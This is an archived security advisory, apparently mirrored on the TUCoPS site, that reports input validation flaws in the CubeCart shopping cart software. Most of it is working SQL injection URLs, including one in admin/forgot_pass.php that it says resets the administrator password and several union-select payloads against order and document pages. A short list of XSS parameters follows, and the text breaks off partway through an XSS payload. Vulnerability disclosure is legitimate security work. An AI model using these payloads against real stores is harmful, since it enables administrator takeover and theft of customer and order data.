TUCoPS :: Web :: e-commerce, shopping carts

TUCoPS :: Web :: e-commerce, shopping carts :: b06-4914.htm
CubeCart Multiple input Validation vulnerabilities

CubeCart Multiple input Validation vulnerabilities CubeCart Multiple input Validation vulnerabilities


Hello,,=0D
=0D
CubeCart Multiple input Validation vulnerabilities=0D
=0D
Discovered By : HACKERS PAL=0D
Copy rights : HACKERS PAL=0D
Website : http://www.soqor.net=0D 
Email Address : security@soqor.net=0D 
=0D
=0D
Sql injection=0D
=0D
=0D
admin/forgot_pass.php?submit=1&user_name=-1'or%201=1/*=0D
it will reset the password for the administrator=0D
--=0D
=0D
admin/forgot_pass.php?submit=1&user_name=-1'%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42/*=0D
--=0D
view_order.php?order_id='%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30/*=0D
--=0D
view_doc.php?view_doc=-1'%20union%20select%201,2/*=0D
--=0D
admin/print_order.php?order_id='%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30/*=0D
/***************************************/=0D
xss=0D
admin/print_order.php?order_id==0D
--=0D
view_order.php?order_id==0D
--=0D
admin/nav.php?site_url=">